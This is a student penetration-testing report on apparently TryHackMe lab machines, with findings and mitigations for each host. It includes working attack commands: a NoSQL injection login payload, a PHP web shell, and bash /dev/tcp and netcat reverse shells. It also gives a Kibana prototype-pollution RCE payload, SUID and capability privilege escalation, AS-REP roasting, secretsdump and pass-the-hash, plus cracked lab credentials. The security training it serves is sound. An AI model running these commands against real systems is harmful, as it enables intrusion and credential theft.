Information security testing and assessment

DNCS24

11.3.2026

Janne Turpeinen

Penetration testing report



Content

1 Executive summary **3**

2 Exploitable machines **4**

2.1 Target hosts unable to be exploited 4

2.1.1 Target machine 8 4

2.2 Target hosts able to be exploited 7

2.2.1 Target Machine 1 7

2.2.2 Target machine 3 9

2.2.3 Target Machine 4 11

2.2.4 Taget machine 5 14

2.2.5 Target machine 6 15

2.2.6 Target machine 7 17

1 Executive summary

This is a report reviewing the penetration testing of the company's seven target machines.

Six of these target machines proved to be extremely vulnerable. The target machines have:

- old vulnerable software versions
- poorly formed passwords
- usernames have too broad access rights in the systems
- the servers reveal too much to the external network (open ports, directories)
- usernames and passwords were stored in files that were accessible over the network.

One of the machines seems to be more secure, but there were also issues with it.

Employees should have security training about the old software versions, password management, user account access rights and how to configure web servers so that they don’t reveal anything extra to the outside network.

.

2 Exploitable machines

There were seven target machines to be tested, and I was able to successfully exploit six of these. I didn't get access to target machine 8, but it seems like there's room for improvement there too.

2.1 Target hosts unable to be exploited

Here is the target machine 8, which I couldn’t get access.

2.1.1 Target machine 8

Open port scanning with **nmap**.

PORT	**STATE SERVICE**	**VERSION**
22/tcp	open SSH	OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp	open http	nginx
3000/tcp	open ppp?	
3001/tcp	open Nessus?	
8080/tcp	open	http-proxy
27017/tcp	open	mongod

Target machine is probably **Linux** system, with **MongoDB** database. Port 3000 is probably for frontend and 3001 for the backend. When opening page http://10.80.136.27:3001, there is only text **Cannot GET /** which indicates to node.js.

Enum4linux scan.

RID Range	500-550,1000-1050
Known Usernames	administrator, guest, krbtgt, domain admins, root, bin, none

Gobuster directory scanning revealed many directories, here is only the interesting ones.

Interesting directory	**Description**
/images	Page not found. But maybe after uploading something?
/admin	Opens an admin panel.
/assets	Nothing interesting at this point.
/upload	Empty page, but maybe useful after uploading something.
/settings	page not found.
/administration	404 error. But when navigating from the left panel, gets to same page as /admin.
/setup	Page not found.

When going to the page http://10.80.136.27/admin, you can access admin panel. There are some interesting things like: google sheet product import, customer groups can be added and file upload page. It looks like that any of these doesn't work. When trying to upload something, nothing happens with the page.

From the page http://10.80.136.27:8080/ you can upload files. I uploaded a file with reverse shell payload. When going to the page http://10.80.136.27/upload/shell.php where /shell.php is the uploaded file, the page just downloads the file to your computer, so no file execution here.

I went to page http://10.80.136.27:3000/login and interrupted login request with Burpsuite and noticed endpoint **/ajax/login**. I tested with payload:

```
POST /ajax/login HTTP/1.1
Host: 10.80.136.27:3000
Content-Type: application/json
Content-Length: 46

{"email":{"$ne":null},"password":{"$ne":null}}
```

And response from the server was 504 Gateway Time-Out, so this might be the way to backend.

Mitigation

There are vulnerable open ports and directories visible to network. Make sure these are not accessible.

All user inputs example login form email and password should be validated strictly. Block MongoDB operators like: $ne, $gt, $regex, $where.

Do not input users input straight to MongoDB query.

2.2 Target hosts able to be exploited

There were six machines I was able to get exploited and accessed to.

2.2.1 Target Machine 1

Open port scanning with **nmap**.

PORT	**STATE SERVICE**	**VERSION**
22/TCP	open ssh	OpenSSH 5.9p1 Debian 5 ubuntu1.4
80/TCP	open http	Apache httpd 2.2.22
139/tcp	netbios-ssn	Samba smbd 3.X - 4.X
445/tcp	netbios-ssn	Samba smbd 3.X - 4.X
OS	Linux	

Target appears to be a Linux server, and it is running OpenSSH, Apache 2.2.22 and Samba services.

The web page which is running on the server is poorly configured. “Frontpage” is pointing to /index/ directory, instead of /html/ directory.

Directory scanning with **Gobuster** revealed many directories. Here are most important ones.

/admin	Opens an admin login page. Reveals that this is OsCommerce v2.3 page
/install	Lets you start installing the web server database. Also reveals Linux server version: 5.3.10-1ubuntu 3.13
/includes	php files

I tested simple SQL injection on the admin page: http://10.80.178.198/html/admin, but it has brute force blocker.

http://10.80.178.198/html/install page was interesting because it lets you start to install the web server database. Installation was successful when inputting data during installation like this:

Database Server: localhost
Username: root
Password: (leave empty)
Database Name: oscommerce

And new admin user was made during installation:

Username: admin
Password: admin

With these new admin credentials, it is possible to login to admin page: http://10.80.178.198/html/admin.

At the admin page you can access multiple interesting places. I went to:

Tools -> Define Languages.
Edited one of the files: **privacy.php** with reverse shell code
<?php system($_GET['cmd']); ?>

Started listener with: nc -lvnp 4444

And then went to URL with reverse shell payload: http://10.80.160.116/html/includes/languages/english/privacy.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/[MY-IP-ADDRESS]/4444+0>%261' and got an reverse shell connection.

The **user.txt** file was found from path **/home/shopkeeper/** and it contained: **THM{WelcomeToTheStore}**.

Mitigations

OsCommerce re-installation is possible, so the OsCommerce should be updated to newest version and /install directory should be deleted or hided. OsCommerce version 2.3 vulnerability **CVE-2018-25114:** **https://www.cve.org/CVERecord?id=CVE-2018-25114**

Also Apache 2.2.22 and OpenSSH 5.9p1 are old versions and should be updated.

2.2.2 Target machine 3

Open port scanning with **nmap**.

PORT	**STATE**	**SERVICE VERSION**
22/tcp	open ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp	open http	Apache httpd 2.4.18 ((Ubuntu))
5044/tcp	open	lxi-evntsvc
5601/tcp	open	esmagent
OS	Linux	

Target machine appiers to be Linux Ubuntu machine with old versions of OpenSSH and Apache.

Directory scanning with **Gobuster** didn't give anything.

I tested the URL with port numbers and http://10.80.139.166:5601 got us to Kibana page. Kibana version is 6.5.4 and I found out that there is vulnerablility CVE-2019-7608, which is a remote code execution vulnerability.

I tried to exploit the target with Metasploit:

exploit/linux/http/kibana_upgrade_assistant_telemetry_rce **NOT WORKING**
exploit/linux/http/kibana_timelion_prototype_pollution_rce **NOT WORKING**

And manually inputting exploit to the websites Timelion input field:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/10.80.122.212/4646 0>&1\'")') **NOT WORKING**
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc 10.80.122.212 4646 -e /bin/bash")') **NOT WORKING**
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.82.96.239/12345 0>&1\'");//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') **THIS ONE WORKS**

The **user.txt** file was found from the path: **/home/kiba/** with content:

THM{1s_easy_pwn3d_k1bana_w1th_rce}

Root Privileges

Root privileges were established with commands:

- getcap -r / 2>/dev/null getcap -r / 2>/dev/null
- /home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The **root.txt** file was in the path: **/root/** with content:

THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}

Mitigations

Kibana version is old and should be updated. Vulnerability **CVE-2019-7608: https://www.cve.org/CVERecord?id=CVE-2019-7608.**

Root privilege escalation was successful because there is unnecessary capability with python: /home/kiba/.hackmeplease/python3 = **cap_setuid+ep**. This capability should be removed.

Also, OpenSSH 7.2p2 is old version and should be updated. I didn't test this one, but it can be vulnerable to CVE-2016-6210: https://vuldb.com/vuln/89622.

And same thing for the Apache httpd 2.4.18. Multiple possible vulnerabilities: https://www.cvedetails.com/version/553326/Apache-Http-Server-2.4.18.html

2.2.3 Target Machine 4

Open port scan with **nmap**.

PORT	STATE	SERVICE VERSION
80/tcp	open http	Microsoft IIS httpd 7.5
135/tcp	msrpc	Microsoft Windows RPC
139/tcp	open netbios-ssn	Microsoft Windows netbios-ssn
443/tcp	open ssl/http	Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
445/tcp	open Microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds
3306/tcp	open mysql	MariaDB

8080/tcp	open http	Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
49152/tcp	open msrpc	Microsoft Windows RPC
49153/tcp	open msrpc	Microsoft Windows RPC
49154/tcp	open msrpc	Microsoft Windows RPC
49160/tcp	open msrpc	Microsoft Windows RPC
49165/tcp	open msrpc	Microsoft Windows RPC
OS	Windows	

Target machine appears to be a Microsoft Windows machine.

With port number 8080 you can access index web page and following the links in the page you can access eshop. URL:

http://10.82.173.117:8080/oscommerce-2.3.4/catalog/	Appears to be Oscommerce version 2.3.4

Directory scanning to URL http://10.82.173.117:8080/oscommerce-2.3.4/catalog/ with **Gobuster** gives interesting directories.

DIRECTORY	**DESCRIPTION**
/admin	
/install	Reveals PHP Version 5.6.28 Let's you start osCommerce merchant v2.3.4 intallation
/download	Requires Username and Password

I started to re-install osCommerce and here is the data I inputted during the installation.

Database Server: localhost
Username: root
Password: (leave empty)
Database Name: oscommerce

And new admin user was made during installation:

Username: admin
Password: admin

Installation was successful.

Login was successful to http://10.82.173.117:8080/oscommerce-2.3.4/catalog/admin/index.php with admin/admin, but I wasn't able to modify the files under Tools -> Define Languages.

I found exploit for the osCommerce 2.3.4: GitHub - nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution: osCommerce 2.3.4 Remote Command Execution · GitHub -> This gave me ReverseShell with **authority/system** user.

The **root.txt.txt** file was found from the directory **C:\Users\Administrator\Desktop** and it contains **THM{aea1e3ce6fe7f89e10cea833ae009bee}**

User	**authority/system**
Path	**C:\Users\Administrator\Desktop**
File root.txt.txt	**THM{aea1e3ce6fe7f89e10cea833ae009bee}**
"Lab" user password	**googleplus**

Mitigating

Update osCommerce to newest version and hide or erase /install and /admin directories. CVE-2018-25114: https://www.cvedetails.com/cve/CVE-2018-25114/

2.2.4 Taget machine 5

Port scanning with **nmap**

PORT	STATE SERVICE	VERSION
22/tcp	open ssh	OpenSSH 7.6p1
80/tvp	open http	Apache httpd 2.4.29
OS	Linux	Ubuntu

Gobuster directory scanning revealed many directories, here is only the interesting ones.

DIRECTORY	DESCRIPTION
/uploads	Empty but maybe something can be **uploaded**
/css	home.css and panel.css
/js	/maquina_de_escrever.js Front page javascript element
/panel	**Lets you upload file**
/server-status	No permission

Upload page /panel doesn't allow .php extensions to be uploaded. I tested with Burpsuite, which extensions are allowed.

Uploading **php-reverse-shell.phtml** was successful and with nc listener I got reverse shell connection as a www-data user.

The **user.txt** was found from /var/www/ path with content:
THM{y0u_g0t_a_sh3ll}

Root Privilege escalation

I used **find** command to look for SUID-bits.

find / -perm -u=s -type f 2>/dev/null and found out that there is **/usr/bin/python** which means that user is able to run python.

Using Python:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
I was able to get **root** privileges and the **root.txt** file were in the **/root** path and it contained: **THM{pr1v1l3g3_3sc4l4t10n}**

Linux kernel 4.15.0-112 might also be vulnerable to exploit **CVE-2018-18955**.

Mitigation

Erase SUID-bit from python.

Update Linux Kernel to newest version. https://nvd.nist.gov/vuln/detail/CVE-2018-18955

2.2.5 Target machine 6

Nmap port scanning.

PORT	STATE SERVICE	VERSION
22/tcp	open ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Gobuster directory scan didn't give anything.

Enum4linux revealed that there was Samba service running with username **nasadmin** and SMB sharing **homes, print$** and **IPC$.** The **nasadmin** accepted login without password and I got into nasadmin home directory with: **smbclient //10.81.136.94/nasadmin -U "" -N**

In the home directory there was **.ssh** directory and **user.txt** file.

From the **.ssh** directory I was able to download files **id_rsa.pub**, **authorized_keys** and **id_rsa** and got ssh connection with user nasadmin.

user.txt **THM{Sharingiscaring}**

Root Privilege escalation

Command **sudo -l** revealed that the user **nasadmin** has root-privilege to run **smbclient**.

With command **sudo smbclient //localhost/nasadmin** I was able to open root-shell to smbclient. And when using **! mark** before the command in the smbclient, I was able to run commands in the operating system.

```
smb: \> !whoami
root
```

Root file was found:

```
smb: \> !cat /root/root.txt
THM{Toomanysecrets}
```

Mitigation

Home directories shouldn't be shared with SMB without authentication. User **nasadmin** should be added to **smb.conf** file and delete the anonymous access.

Private SSH-keys should not be saved in the directories, which are accessed trough internet.

Sudo privileges should not get granted to NOPASSWD.

```
nasadmin@nas:~$ sudo -l
User nasadmin may run the following commands on nas: (ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/smbclient
```

2.2.6 Target machine 7

Nmap scanning

PORT	STATUS SERVICE	VERSION
53/tcp	open ?	domain
80/tcp	open http	Microsoft IIS httpd 10.0
88/tcp	open Kerberos-sec	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
135/tcp	open msrpc	windows rpc
139/tcp	open netbios-ssn	windows netbios-ssn
389/tcp	ldap	Microsoft Windows Active Directory LDAP (Domain:

		spookysec.local0., Site: Default-First-Site-Name)
445/tcp	open Microsoft-ds	
464/tcp	open kpasswd5?	
593/tcp	open ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	tcpwrapped	
3268/tcp	ldap	Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp	tcpwrapped	
3389/tcp	ms-wbt-server	Microsoft Terminal Services

Targets seems to be windows server with active directory.

Directory scanning with **Gobuster** didn't find anything.

I used **Kerbrute** tool to enumerate Active Directory users on port 88.

```
kerbrute userenum --dc 10.81.144.151 -d spookysec.local \
/usr/share/wordlists/SecLists/Usernames/xato-net-10-million-
usernames.txt
```

Usernames found:

- administrator
- james
- robin
- darkstar
- backup
- paradox

- ori
- optional
- skidy

With command:

```
GetNPUsers.py spookysec.local/ -usersfile users.txt -no-pass \
-dc-ip 10.81.144.151 -format hashcat
```

admin hash was found:

```
$krb5asrep$23$svc-
admin@SPOOKYSEC.LOCAL:ad1bd790ece70bfb...
```

And decoding hash with hashcat:

```
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

password: **svc-admin : management2005**

Enumerating SMB:

```
smbclient -L //10.81.144.151 -U spookysec.local/svc-
admin%management2005
```

SMB shares:

- ADMIN$
- backup
- C$
- IPC$
- NETLOGON
- SYSVOL

There was found backup_credentials.txt file from the backup share, and file contained base64 hash:

YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

And decoding the base64 hash:

echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d

Result:

backup@spookysec.local : backup2517860

Getting hashes with backup user using secretdump.

secretsdump.py spookysec.local/backup:backup2517860@10.81.144.151

Critical hashes were found:

Administrator	0e0363213e37b94221497260b0bcb4fc
krbtgt	0e2eb8158c27bed09861033026be4c21
svc-admin	fc0f1e5359e372aa1f69147375ba6809
backup	19741bde08e135f4b40f1ca9aab45538

Using evil-winrm tool with admin user and hash and port 5985 to get Administrator-shell:

evil-winrm -i 10.81.144.151 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

And root.txt file was found:

type C:\Users\Administrator\Desktop\root.txt

TryHackMe{4ctiveD1rectoryM4st3r}

Mitigation

All user account should have Kerberos-authenticating enabled. Delete DONT_REQ_PREAUTH from all accounts.

Weak password: management2005. Make password policy stricter. Longer passwords with mandatory special characters, upper/lowercase and numbers.

SMB backup-share contained text file with credentials. Never save credentials to files.

Replicating Directory Changes -privileges are harmful in wrong hands. Limit privileges to mandatory system accounts only.